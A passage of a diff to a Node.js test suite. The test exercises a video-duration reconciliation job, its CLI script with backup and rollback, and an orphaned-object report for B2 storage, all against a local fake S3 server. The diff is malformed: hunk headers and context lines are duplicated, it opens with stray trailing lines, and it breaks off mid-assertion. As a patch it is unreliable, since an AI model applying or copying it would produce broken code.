+ console.log('\ndrill-mode: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -12,242 +12,243 @@ const path = require('path');
@@ -12,242 +12,243 @@ const path = require('path');
const http = require('http');
const http = require('http');
const { spawnSync, execFile } = require('child_process');
const { spawnSync, execFile } = require('child_process');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-reconcile-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-const runCli = (script, args) => new Promise((resolve) => {
- execFile(process.execPath, [path.join(__dirname, '../scripts', script), ...args], { env: process.env, encoding: 'utf8' },
- (err, stdout, stderr) => resolve({ status: err ? err.code : 0, stdout, stderr }));
-});
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-reconcile-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ // In this process: the test database is here (PGlite), and the fake S3 answers while the script awaits it.
+ const { runScript } = require('./helpers/run-script');
+ const runCli = async (script, args) => { const r = await runScript(path.join(__dirname, '../scripts', script), args); return { status: r.code, stdout: r.out, stderr: r.err }; };
-// ── Fake S3: path-style /<bucket>/<key>; HEAD, GET (Range), ListObjectsV2; PUT/DELETE recorded ──
-const buckets = { 'b2-bucket': new Map() };
-const s3log = [];
-const xml = (s) => String(s).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
-const s3 = http.createServer((req, res) => {
- req.resume();
- req.on('end', () => {
- const u = new URL(req.url, 'http://x');
- const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');
- const key = rest.join('/');
- const store = buckets[bucket];
- s3log.push([req.method, bucket, key]);
- if (!store) { res.writeHead(404); return res.end(); }
- if (req.method === 'HEAD' && !key) { res.writeHead(200); return res.end(); } // HeadBucket
- if (req.method === 'GET' && !key && u.searchParams.get('list-type') === '2') {
- const prefix = u.searchParams.get('prefix') || '';
- const keys = [...store.keys()].filter(k => k.startsWith(prefix)).sort();
- res.writeHead(200, { 'Content-Type': 'application/xml' });
- return res.end(`<?xml version="1.0" encoding="UTF-8"?><ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>${bucket}</Name><Prefix>${xml(prefix)}</Prefix><KeyCount>${keys.length}</KeyCount><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated>${
- keys.map(k => `<Contents><Key>${xml(k)}</Key><LastModified>2026-09-21T00:00:00.000Z</LastModified><ETag>"e"</ETag><Size>${store.get(k).length}</Size><StorageClass>STANDARD</StorageClass></Contents>`).join('')}</ListBucketResult>`);
- }
- const obj = store.get(key);
- if (req.method === 'HEAD' || req.method === 'GET') {
- if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }
- const m = /bytes=(\d+)-(\d+)?/.exec(req.headers.range || '');
- if (m && req.method === 'GET') {
- const start = Number(m[1]), end = Math.min(obj.length - 1, m[2] != null ? Number(m[2]) : obj.length - 1);
- if (start >= obj.length) { res.writeHead(416, { 'Content-Range': `bytes */${obj.length}` }); return res.end(); }
- res.writeHead(206, { 'Content-Length': end - start + 1, 'Content-Range': `bytes ${start}-${end}/${obj.length}`, 'Accept-Ranges': 'bytes', ETag: '"e"', 'Content-Type': 'video/mp4' });
- return res.end(obj.subarray(start, end + 1));
+ // ── Fake S3: path-style /<bucket>/<key>; HEAD, GET (Range), ListObjectsV2; PUT/DELETE recorded ──
+ const buckets = { 'b2-bucket': new Map() };
+ const s3log = [];
+ const xml = (s) => String(s).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
+ const s3 = http.createServer((req, res) => {
+ req.resume();
+ req.on('end', () => {
+ const u = new URL(req.url, 'http://x');
+ const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');
+ const key = rest.join('/');
+ const store = buckets[bucket];
+ s3log.push([req.method, bucket, key]);
+ if (!store) { res.writeHead(404); return res.end(); }
+ if (req.method === 'HEAD' && !key) { res.writeHead(200); return res.end(); } // HeadBucket
+ if (req.method === 'GET' && !key && u.searchParams.get('list-type') === '2') {
+ const prefix = u.searchParams.get('prefix') || '';
+ const keys = [...store.keys()].filter(k => k.startsWith(prefix)).sort();
+ res.writeHead(200, { 'Content-Type': 'application/xml' });
+ return res.end(`<?xml version="1.0" encoding="UTF-8"?><ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>${bucket}</Name><Prefix>${xml(prefix)}</Prefix><KeyCount>${keys.length}</KeyCount><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated>${
+ keys.map(k => `<Contents><Key>${xml(k)}</Key><LastModified>2026-09-21T00:00:00.000Z</LastModified><ETag>"e"</ETag><Size>${store.get(k).length}</Size><StorageClass>STANDARD</StorageClass></Contents>`).join('')}</ListBucketResult>`);
}
}
- res.writeHead(200, { 'Content-Length': obj.length, 'Accept-Ranges': 'bytes', ETag: '"e"', 'Content-Type': 'video/mp4' });
- return res.end(req.method === 'GET' ? obj : undefined);
- }
- res.writeHead(405); res.end();
- });
-});
-
-(async () => {
- await new Promise((r) => s3.listen(0, '127.0.0.1', r));
- const endpoint = `http://127.0.0.1:${s3.address().port}`;
- Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'data', 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
- MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',
- MEDIA_INVARIANT_SCAN_HOURS: '0', MEDIA_JOBS_ENABLED: '0',
+ const obj = store.get(key);
+ if (req.method === 'HEAD' || req.method === 'GET') {
+ if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }
+ const m = /bytes=(\d+)-(\d+)?/.exec(req.headers.range || '');
+ if (m && req.method === 'GET') {
+ const start = Number(m[1]), end = Math.min(obj.length - 1, m[2] != null ? Number(m[2]) : obj.length - 1);
+ if (start >= obj.length) { res.writeHead(416, { 'Content-Range': `bytes */${obj.length}` }); return res.end(); }
+ res.writeHead(206, { 'Content-Length': end - start + 1, 'Content-Range': `bytes ${start}-${end}/${obj.length}`, 'Accept-Ranges': 'bytes', ETag: '"e"', 'Content-Type': 'video/mp4' });
+ return res.end(obj.subarray(start, end + 1));
+ }
+ res.writeHead(200, { 'Content-Length': obj.length, 'Accept-Ranges': 'bytes', ETag: '"e"', 'Content-Type': 'video/mp4' });
+ return res.end(req.method === 'GET' ? obj : undefined);
+ }
+ res.writeHead(405); res.end();
+ });
});
});
- const db = require('../server/db/database');
- const reconcile = require('../server/vod/duration-reconcile');
- const orphans = require('../server/vod/orphans-report');
- db.upsertApp({ app_id: 'live', api_key: 'live-key' });
- // ── 1. classify ──
- assert.strictEqual(reconcile.classify(600, 601.5), 'ok');
- assert.strictEqual(reconcile.classify(600, 640), 'mismatch', '40 s off is reported, not repaired');
- assert.strictEqual(reconcile.classify(3600, 600), 'wrong');
- assert.strictEqual(reconcile.classify(20000, 19800), 'mismatch', '200 s off a 5.5 h VOD (1%) is a mismatch, not wrong');
- assert.strictEqual(reconcile.classify(0, 12), 'missing');
- assert.strictEqual(reconcile.classify(100, 0), 'unmeasurable');
- console.log('✅ classify: ok within 2 s; wrong only past 60 s and 2%; missing when nothing is stored');
+ (async () => {
+ await new Promise((r) => s3.listen(0, '127.0.0.1', r));
+ const endpoint = `http://127.0.0.1:${s3.address().port}`;
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'data', 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
+ MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',
+ MEDIA_INVARIANT_SCAN_HOURS: '0', MEDIA_JOBS_ENABLED: '0',
+ });
+ const db = require('../server/db/database');
+ const reconcile = require('../server/vod/duration-reconcile');
+ const orphans = require('../server/vod/orphans-report');
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
- const hasFfmpeg = spawnSync('ffmpeg', ['-version']).status === 0;
- const mk = (file, secs) => {
- const r = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', `testsrc=duration=${secs}:size=160x120:rate=10`, '-f', 'lavfi', '-i', `sine=frequency=440:duration=${secs}`,
- '-c:v', 'libx264', '-pix_fmt', 'yuv420p', '-c:a', 'aac', '-shortest', '-movflags', '+faststart', file]);
- assert.strictEqual(r.status, 0, String(r.stderr));
- return fs.readFileSync(file);
- };
- const insVod = (o) => Number(db.run(`INSERT INTO vods (app_id, title, file_path, file_size, duration_seconds, duration_source, storage_provider, storage_key, health_status, is_recording, is_public, visibility)
- VALUES ('live', ?, ?, ?, ?, ?, ?, ?, ?, 0, 1, 'public')`, [o.title || 't', o.file, o.size || 1000, o.stored, o.source ?? null, o.provider || 'local', o.key || null, o.health || 'ok']).lastInsertRowid);
- const vod = (id) => db.get('SELECT * FROM vods WHERE id = ?', [id]);
+ // ── 1. classify ──
+ assert.strictEqual(reconcile.classify(600, 601.5), 'ok');
+ assert.strictEqual(reconcile.classify(600, 640), 'mismatch', '40 s off is reported, not repaired');
+ assert.strictEqual(reconcile.classify(3600, 600), 'wrong');
+ assert.strictEqual(reconcile.classify(20000, 19800), 'mismatch', '200 s off a 5.5 h VOD (1%) is a mismatch, not wrong');
+ assert.strictEqual(reconcile.classify(0, 12), 'missing');
+ assert.strictEqual(reconcile.classify(100, 0), 'unmeasurable');
+ console.log('✅ classify: ok within 2 s; wrong only past 60 s and 2%; missing when nothing is stored');
- let ids = {};
- if (!hasFfmpeg) {
- console.log('measurement checks: skipped (ffmpeg not found; the orphan report still runs)');
- } else {
- const V = process.env.VOD_PATH;
- mk(path.join(V, 'a.mp4'), 6);
- mk(path.join(V, 'b.mp4'), 6);
- const cBytes = mk(path.join(tmp, 'c.mp4'), 8);
- buckets['b2-bucket'].set('vods/c.mp4', cBytes); // offloaded: no local file
- mk(path.join(V, 'd.mp4'), 6);
- mk(path.join(V, 'e.mp4'), 6);
- fs.writeFileSync(path.join(V, 'g.mp4'), Buffer.alloc(30000, 3)); // unreadable
- ids = {
- ok: insVod({ file: path.join(V, 'a.mp4'), stored: 6, source: 'probe' }),
- wallClock: insVod({ file: path.join(V, 'b.mp4'), stored: 3600 }),
- remote: insVod({ file: '/old/host/path/c.mp4', stored: 99999, provider: 'b2', key: 'vods/c.mp4' }),
- missing: insVod({ file: path.join(V, 'd.mp4'), stored: 0 }),
- small: insVod({ file: path.join(V, 'e.mp4'), stored: 9, source: 'probe' }),
- skipped: insVod({ file: path.join(V, 'f.mp4'), stored: 50, health: 'missing_file' }),
- unreadable: insVod({ file: path.join(V, 'g.mp4'), stored: 120 }),
+ const hasFfmpeg = spawnSync('ffmpeg', ['-version']).status === 0;
+ const mk = (file, secs) => {
+ const r = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', `testsrc=duration=${secs}:size=160x120:rate=10`, '-f', 'lavfi', '-i', `sine=frequency=440:duration=${secs}`,
+ '-c:v', 'libx264', '-pix_fmt', 'yuv420p', '-c:a', 'aac', '-shortest', '-movflags', '+faststart', file]);
+ assert.strictEqual(r.status, 0, String(r.stderr));
+ return fs.readFileSync(file);
};
};
+ const insVod = async (o) => Number((await db.run(`INSERT INTO vods (app_id, title, file_path, file_size, duration_seconds, duration_source, storage_provider, storage_key, health_status, is_recording, is_public, visibility)
+ VALUES ('live', ?, ?, ?, ?, ?, ?, ?, ?, 0, 1, 'public') RETURNING id`, [o.title || 't', o.file, o.size || 1000, o.stored, o.source ?? null, o.provider || 'local', o.key || null, o.health || 'ok'])).lastInsertRowid);
+ const vod = async (id) => await db.get('SELECT * FROM vods WHERE id = ?', [id]);
+
+ let ids = {};
+ if (!hasFfmpeg) {
+ console.log('measurement checks: skipped (ffmpeg not found; the orphan report still runs)');
+ } else {
+ const V = process.env.VOD_PATH;
+ mk(path.join(V, 'a.mp4'), 6);
+ mk(path.join(V, 'b.mp4'), 6);
+ const cBytes = mk(path.join(tmp, 'c.mp4'), 8);
+ buckets['b2-bucket'].set('vods/c.mp4', cBytes); // offloaded: no local file
+ mk(path.join(V, 'd.mp4'), 6);
+ mk(path.join(V, 'e.mp4'), 6);
+ fs.writeFileSync(path.join(V, 'g.mp4'), Buffer.alloc(30000, 3)); // unreadable
+ ids = {
+ ok: await insVod({ file: path.join(V, 'a.mp4'), stored: 6, source: 'probe' }),
+ wallClock: await insVod({ file: path.join(V, 'b.mp4'), stored: 3600 }),
+ remote: await insVod({ file: '/old/host/path/c.mp4', stored: 99999, provider: 'b2', key: 'vods/c.mp4' }),
+ missing: await insVod({ file: path.join(V, 'd.mp4'), stored: 0 }),
+ small: await insVod({ file: path.join(V, 'e.mp4'), stored: 9, source: 'probe' }),
+ skipped: await insVod({ file: path.join(V, 'f.mp4'), stored: 50, health: 'missing_file' }),
+ unreadable: await insVod({ file: path.join(V, 'g.mp4'), stored: 120 }),
+ };
- // ── 2. Dry run: measures local and remote, changes nothing ──
- const before = db.all('SELECT id, duration_seconds, duration_source FROM vods ORDER BY id');
- const dry = await reconcile.reconcileBatch({ appId: 'live', afterId: 0, limit: 50 });
- assert.deepStrictEqual(db.all('SELECT id, duration_seconds, duration_source FROM vods ORDER BY id'), before, 'a dry run writes nothing');
- const by = Object.fromEntries(dry.rows.map(r => [r.vod_id, r]));
- assert.strictEqual(by[ids.ok].verdict, 'ok');
- assert.deepStrictEqual([by[ids.wallClock].verdict, by[ids.wallClock].action, by[ids.wallClock].confirmed], ['wrong', 'would_repair', true]);
- assert.strictEqual(by[ids.remote].where, 'b2', 'the offloaded copy is measured in B2');
- assert.deepStrictEqual([by[ids.remote].verdict, by[ids.remote].action], ['wrong', 'would_repair']);
- assert.ok(Math.abs(by[ids.remote].measured - 8) < 0.6, `remote measured ${by[ids.remote].measured}`);
- assert.ok(s3log.some(([m, , k]) => m === 'GET' && k === 'vods/c.mp4'), 'read through a presigned GET');
- assert.ok(!s3log.some(([m]) => m === 'PUT' || m === 'DELETE'));
- assert.deepStrictEqual([by[ids.missing].verdict, by[ids.missing].action], ['missing', 'would_repair']);
- assert.deepStrictEqual([by[ids.small].verdict, by[ids.small].action], ['mismatch', 'none'], 'a 3 s difference is reported only');
- assert.strictEqual(by[ids.skipped].verdict, 'skipped');
- assert.strictEqual(by[ids.unreadable].verdict, 'unmeasurable');
- assert.strictEqual(dry.counts.would_repair, 3);
- assert.strictEqual(dry.counts.remote, 1);
- console.log('✅ dry run: local files and the B2 copy (presigned ranged read) measured, 3 repairs proposed, nothing written');
+ // ── 2. Dry run: measures local and remote, changes nothing ──
+ const before = await db.all('SELECT id, duration_seconds, duration_source FROM vods ORDER BY id');
+ const dry = await reconcile.reconcileBatch({ appId: 'live', afterId: 0, limit: 50 });
+ assert.deepStrictEqual(await db.all('SELECT id, duration_seconds, duration_source FROM vods ORDER BY id'), before, 'a dry run writes nothing');
+ const by = Object.fromEntries(dry.rows.map(r => [r.vod_id, r]));
+ assert.strictEqual(by[ids.ok].verdict, 'ok');
+ assert.deepStrictEqual([by[ids.wallClock].verdict, by[ids.wallClock].action, by[ids.wallClock].confirmed], ['wrong', 'would_repair', true]);
+ assert.strictEqual(by[ids.remote].where, 'b2', 'the offloaded copy is measured in B2');
+ assert.deepStrictEqual([by[ids.remote].verdict, by[ids.remote].action], ['wrong', 'would_repair']);
+ assert.ok(Math.abs(by[ids.remote].measured - 8) < 0.6, `remote measured ${by[ids.remote].measured}`);
+ assert.ok(s3log.some(([m, , k]) => m === 'GET' && k === 'vods/c.mp4'), 'read through a presigned GET');
+ assert.ok(!s3log.some(([m]) => m === 'PUT' || m === 'DELETE'));
+ assert.deepStrictEqual([by[ids.missing].verdict, by[ids.missing].action], ['missing', 'would_repair']);
+ assert.deepStrictEqual([by[ids.small].verdict, by[ids.small].action], ['mismatch', 'none'], 'a 3 s difference is reported only');
+ assert.strictEqual(by[ids.skipped].verdict, 'skipped');
+ assert.strictEqual(by[ids.unreadable].verdict, 'unmeasurable');
+ assert.strictEqual(dry.counts.would_repair, 3);
+ assert.strictEqual(dry.counts.remote, 1);
+ console.log('✅ dry run: local files and the B2 copy (presigned ranged read) measured, 3 repairs proposed, nothing written');
- // ── 3. Bounded batches and --apply through the job, then rollback ──
- const small = await reconcile.reconcileBatch({ appId: 'live', afterId: 0, limit: 2 });
- assert.deepStrictEqual([small.rows.length, small.range.last_id, small.range.done], [2, ids.wallClock, false]);
- const queue = require('../server/jobs/queue');
- const worker = require('../server/jobs/worker');
- const spec = queue.typeSpec('vod.duration.reconcile');
- assert.throws(() => spec.validate({ obj: null, params: { limit: 500 } }), /limit/);
- const params = spec.validate({ obj: null, params: { limit: 4, apply: true } });
- let j = queue.enqueue({ appId: 'live', type: 'vod.duration.reconcile', params, createdBy: 'test' }).job;
- j = await worker.runNow(j.id);
- assert.strictEqual(j.status, 'succeeded', j.error);
- let res = JSON.parse(j.result);
- assert.deepStrictEqual([res.mode, res.counts.checked, res.counts.repaired, res.next_after_id], ['apply', 4, 3, ids.missing]);
- assert.ok(fs.existsSync(path.join(path.dirname(process.env.DB_PATH), 'reports', res.report)), 'the report is written');
- assert.deepStrictEqual([vod(ids.wallClock).duration_seconds, vod(ids.wallClock).duration_source], [6, 'probe']);
- assert.deepStrictEqual([vod(ids.remote).duration_seconds, vod(ids.remote).duration_source], [8, 'probe']);
- assert.deepStrictEqual([vod(ids.missing).duration_seconds, vod(ids.missing).duration_source], [6, 'probe']);
- assert.strictEqual(db.getSetting('duration_reconcile.cursor.live'), ids.missing, 'the cursor is kept for the next run');
- const obj = db.get('SELECT metadata FROM media_objects WHERE id = ?', [vod(ids.wallClock).object_id]);
- assert.strictEqual(JSON.parse(obj.metadata).duration_seconds, 6, 'the object is re-projected');
- j = queue.enqueue({ appId: 'live', type: 'vod.duration.reconcile', params: spec.validate({ obj: null, params: { limit: 4, apply: true } }), createdBy: 'test2' }).job;
- res = JSON.parse((await worker.runNow(j.id)).result);
- assert.deepStrictEqual([res.range.after_id, res.counts.checked, res.range.done, res.next_after_id], [ids.missing, 3, true, 0], 'continues, reaches the end, wraps');
- const report = JSON.parse(fs.readFileSync(path.join(path.dirname(process.env.DB_PATH), 'reports', JSON.parse(queue.list('live', { type: 'vod.duration.reconcile' }).jobs.slice(-1)[0].result).report), 'utf8'));
- const rb0 = reconcile.rollback(report.rows);
- assert.deepStrictEqual(rb0, { restored: 0, would_restore: 3, changed_since: 0 });
- const rb = reconcile.rollback(report.rows, { apply: true });
- assert.strictEqual(rb.restored, 3);
- assert.deepStrictEqual([vod(ids.wallClock).duration_seconds, vod(ids.wallClock).duration_source], [3600, null], 'rolled back');
- console.log('✅ the job repairs confirmed values in bounded batches, keeps its cursor, writes a report; the report rolls back');
+ // ── 3. Bounded batches and --apply through the job, then rollback ──
+ const small = await reconcile.reconcileBatch({ appId: 'live', afterId: 0, limit: 2 });
+ assert.deepStrictEqual([small.rows.length, small.range.last_id, small.range.done], [2, ids.wallClock, false]);
+ const queue = require('../server/jobs/queue');
+ const worker = require('../server/jobs/worker');
+ const spec = queue.typeSpec('vod.duration.reconcile');
+ assert.throws(() => spec.validate({ obj: null, params: { limit: 500 } }), /limit/);
+ const params = spec.validate({ obj: null, params: { limit: 4, apply: true } });
+ let j = (await queue.enqueue({ appId: 'live', type: 'vod.duration.reconcile', params, createdBy: 'test' })).job;
+ j = await worker.runNow(j.id);
+ assert.strictEqual(j.status, 'succeeded', j.error);
+ let res = JSON.parse(j.result);
+ assert.deepStrictEqual([res.mode, res.counts.checked, res.counts.repaired, res.next_after_id], ['apply', 4, 3, ids.missing]);
+ assert.ok(fs.existsSync(path.join(path.dirname(process.env.DB_PATH), 'reports', res.report)), 'the report is written');
+ assert.deepStrictEqual([(await vod(ids.wallClock)).duration_seconds, (await vod(ids.wallClock)).duration_source], [6, 'probe']);
+ assert.deepStrictEqual([(await vod(ids.remote)).duration_seconds, (await vod(ids.remote)).duration_source], [8, 'probe']);
+ assert.deepStrictEqual([(await vod(ids.missing)).duration_seconds, (await vod(ids.missing)).duration_source], [6, 'probe']);
+ assert.strictEqual(await db.getSetting('duration_reconcile.cursor.live'), ids.missing, 'the cursor is kept for the next run');
+ const obj = await db.get('SELECT metadata FROM media_objects WHERE id = ?', [(await vod(ids.wallClock)).object_id]);
+ assert.strictEqual(JSON.parse(obj.metadata).duration_seconds, 6, 'the object is re-projected');
+ j = (await queue.enqueue({ appId: 'live', type: 'vod.duration.reconcile', params: spec.validate({ obj: null, params: { limit: 4, apply: true } }), createdBy: 'test2' })).job;
+ res = JSON.parse((await worker.runNow(j.id)).result);
+ assert.deepStrictEqual([res.range.after_id, res.counts.checked, res.range.done, res.next_after_id], [ids.missing, 3, true, 0], 'continues, reaches the end, wraps');
+ const report = JSON.parse(fs.readFileSync(path.join(path.dirname(process.env.DB_PATH), 'reports', JSON.parse((await queue.list('live', { type: 'vod.duration.reconcile' })).jobs.slice(-1)[0].result).report), 'utf8'));
+ const rb0 = await reconcile.rollback(report.rows);
+ assert.deepStrictEqual(rb0, { restored: 0, would_restore: 3, changed_since: 0 });
+ const rb = await reconcile.rollback(report.rows, { apply: true });
+ assert.strictEqual(rb.restored, 3);
+ assert.deepStrictEqual([(await vod(ids.wallClock)).duration_seconds, (await vod(ids.wallClock)).duration_source], [3600, null], 'rolled back');
+ console.log('✅ the job repairs confirmed values in bounded batches, keeps its cursor, writes a report; the report rolls back');
- // ── 4. The script: dry run by default, --apply needs --backup, --rollback ──
- let r = await runCli('vod-duration-reconcile.js', ['--app', 'live', '--all', '--batch', '3']);
- assert.strictEqual(r.status, 0, r.stderr);
- assert.ok(/Would repair 3/.test(r.stdout), r.stdout);
- assert.strictEqual(vod(ids.wallClock).duration_seconds, 3600, 'dry run changed nothing');
- r = await runCli('vod-duration-reconcile.js', ['--apply']);
- assert.strictEqual(r.status, 2, 'apply without a backup is refused');
- const backup = path.join(tmp, 'bk', 'reconcile.json');
- r = await runCli('vod-duration-reconcile.js', ['--app', 'live', '--all', '--apply', '--backup', backup]);
- assert.strictEqual(r.status, 0, r.stderr);
- assert.ok(fs.existsSync(backup) && fs.existsSync(backup.replace(/\.json$/, '.media.db')), 'rollback file and database copy');
- assert.strictEqual(vod(ids.wallClock).duration_seconds, 6);
- r = await runCli('vod-duration-reconcile.js', ['--app', 'live', '--apply', '--backup', backup]);
- assert.strictEqual(r.status, 2, 'never overwrites a backup');
- r = await runCli('vod-duration-reconcile.js', ['--rollback', backup]);
- assert.ok(/Would restore 3/.test(r.stdout), r.stdout);
- r = await runCli('vod-duration-reconcile.js', ['--rollback', backup, '--apply']);
- assert.ok(/Restored 3/.test(r.stdout), r.stdout);
- assert.strictEqual(vod(ids.wallClock).duration_seconds, 3600);
- console.log('✅ scripts/vod-duration-reconcile.js: dry run by default, --apply with a checked backup, --rollback');
- }
+ // ── 4. The script: dry run by default, --apply needs --backup, --rollback ──
+ let r = await runCli('vod-duration-reconcile.js', ['--app', 'live', '--all', '--batch', '3']);
+ assert.strictEqual(r.status, 0, r.stderr);
+ assert.ok(/Would repair 3/.test(r.stdout), r.stdout);
+ assert.strictEqual((await vod(ids.wallClock)).duration_seconds, 3600, 'dry run changed nothing');
+ r = await runCli('vod-duration-reconcile.js', ['--apply']);
+ assert.strictEqual(r.status, 2, 'apply without a backup is refused');
+ const backup = path.join(tmp, 'bk', 'reconcile.json');
+ r = await runCli('vod-duration-reconcile.js', ['--app', 'live', '--all', '--apply', '--backup', backup]);
+ assert.strictEqual(r.status, 0, r.stderr);
+ assert.ok(fs.existsSync(backup), 'the rollback file');
+ assert.strictEqual((await vod(ids.wallClock)).duration_seconds, 6);
+ r = await runCli('vod-duration-reconcile.js', ['--app', 'live', '--apply', '--backup', backup]);
+ assert.strictEqual(r.status, 2, 'never overwrites a backup');
+ r = await runCli('vod-duration-reconcile.js', ['--rollback', backup]);
+ assert.ok(/Would restore 3/.test(r.stdout), r.stdout);
+ r = await runCli('vod-duration-reconcile.js', ['--rollback', backup, '--apply']);
+ assert.ok(/Restored 3/.test(r.stdout), r.stdout);
+ assert.strictEqual((await vod(ids.wallClock)).duration_seconds, 3600);
+ console.log('✅ scripts/vod-duration-reconcile.js: dry run by default, --apply with a rollback file, --rollback');
+ }
- // ── 5. vods-orphans/ report: matches and recommendations, read-only ──
- {
- const B = buckets['b2-bucket'];
- const V = process.env.VOD_PATH;
- const bytes = (n, fill) => Buffer.alloc(n, fill);
- // canonical present, same size → duplicate
- const dupId = insVod({ file: '/x/vod-live-501-1726900000001.mp4', stored: 10, provider: 'b2' });
- B.set('vods/vod-live-501-1726900000001.mp4', bytes(5000, 1));
- B.set('vods-orphans/vod-live-501-1726900000001.mp4', bytes(5000, 1));
- // canonical present, other size → review
- insVod({ file: '/x/vod-live-502-1726900000002.mp4', stored: 10, provider: 'b2' });
- B.set('vods/vod-live-502-1726900000002.mp4', bytes(4000, 2));
- B.set('vods-orphans/vod-live-502-1726900000002.mp4', bytes(4500, 2));
- // no canonical, no local → the only copy
- const onlyId = insVod({ file: '/x/vod-live-503-1726900000003.mp4', stored: 10, provider: 'b2' });
- B.set('vods-orphans/vod-live-503-1726900000003.mp4', bytes(3000, 3));
- // still local with the same size → keep until offloaded
- fs.writeFileSync(path.join(V, 'vod-live-504-1726900000004.mp4'), bytes(2000, 4));
- insVod({ file: path.join(V, 'vod-live-504-1726900000004.mp4'), stored: 10 });
- B.set('vods-orphans/vod-live-504-1726900000004.mp4', bytes(2000, 4));
- // the row is gone (its object says when)
- B.set('vods-orphans/vod-live-9999-1726900000005.mp4', bytes(1000, 5));
- db.run(`INSERT INTO media_objects (id, app_id, namespace, kind, lifecycle_status, legacy_ref, deleted_at) VALUES ('med_01TESTGONE000000000000000A', 'live', 'live', 'vod', 'deleted', 'legacy:live:vod:9999', '2026-09-20 10:00:00')`);
- // a name that matches nothing
- B.set('vods-orphans/notes.txt', bytes(10, 6));
- // a row whose storage_key points INTO the prefix: that object is the canonical copy
- const keyedId = insVod({ file: '/x/vod-live-506-1726900000006.mp4', stored: 10, provider: 'b2', key: 'vods-orphans/vod-live-506-1726900000006.mp4' });
- B.set('vods-orphans/vod-live-506-1726900000006.mp4', bytes(700, 7));
+ // ── 5. vods-orphans/ report: matches and recommendations, read-only ──
+ {
+ const B = buckets['b2-bucket'];
+ const V = process.env.VOD_PATH;
+ const bytes = (n, fill) => Buffer.alloc(n, fill);
+ // canonical present, same size → duplicate
+ const dupId = await insVod({ file: '/x/vod-live-501-1726900000001.mp4', stored: 10, provider: 'b2' });
+ B.set('vods/vod-live-501-1726900000001.mp4', bytes(5000, 1));
+ B.set('vods-orphans/vod-live-501-1726900000001.mp4', bytes(5000, 1));
+ // canonical present, other size → review
+ await insVod({ file: '/x/vod-live-502-1726900000002.mp4', stored: 10, provider: 'b2' });
+ B.set('vods/vod-live-502-1726900000002.mp4', bytes(4000, 2));
+ B.set('vods-orphans/vod-live-502-1726900000002.mp4', bytes(4500, 2));
+ // no canonical, no local → the only copy
+ const onlyId = await insVod({ file: '/x/vod-live-503-1726900000003.mp4', stored: 10, provider: 'b2' });
+ B.set('vods-orphans/vod-live-503-1726900000003.mp4', bytes(3000, 3));
+ // still local with the same size → keep until offloaded
+ fs.writeFileSync(path.join(V, 'vod-live-504-1726900000004.mp4'), bytes(2000, 4));
+ await insVod({ file: path.join(V, 'vod-live-504-1726900000004.mp4'), stored: 10 });
+ B.set('vods-orphans/vod-live-504-1726900000004.mp4', bytes(2000, 4));
+ // the row is gone (its object says when)
+ B.set('vods-orphans/vod-live-9999-1726900000005.mp4', bytes(1000, 5));
+ await db.run(`INSERT INTO media_objects (id, app_id, namespace, kind, lifecycle_status, legacy_ref, deleted_at) VALUES ('med_01TESTGONE000000000000000A', 'live', 'live', 'vod', 'deleted', 'legacy:live:vod:9999', '2026-09-20 10:00:00')`);
+ // a name that matches nothing
+ B.set('vods-orphans/notes.txt', bytes(10, 6));
+ // a row whose storage_key points INTO the prefix: that object is the canonical copy
+ const keyedId = await insVod({ file: '/x/vod-live-506-1726900000006.mp4', stored: 10, provider: 'b2', key: 'vods-orphans/vod-live-506-1726900000006.mp4' });
+ B.set('vods-orphans/vod-live-506-1726900000006.mp4', bytes(700, 7));
- const writesBefore = s3log.filter(([m]) => m !== 'GET' && m !== 'HEAD').length;
- const rep = await orphans.buildReport({ provider: 'b2' });
- const rec = Object.fromEntries(rep.objects.map(o => [path.basename(o.key), o.recommendation]));
- assert.deepStrictEqual(rec, {
- 'notes.txt': 'review_unknown',
- 'vod-live-501-1726900000001.mp4': 'delete_duplicate',
- 'vod-live-502-1726900000002.mp4': 'review_size_differs',
- 'vod-live-503-1726900000003.mp4': 'keep_only_copy',
- 'vod-live-504-1726900000004.mp4': 'keep_until_offloaded',
- 'vod-live-506-1726900000006.mp4': 'keep_only_copy',
- 'vod-live-9999-1726900000005.mp4': 'delete_row_gone',
- });
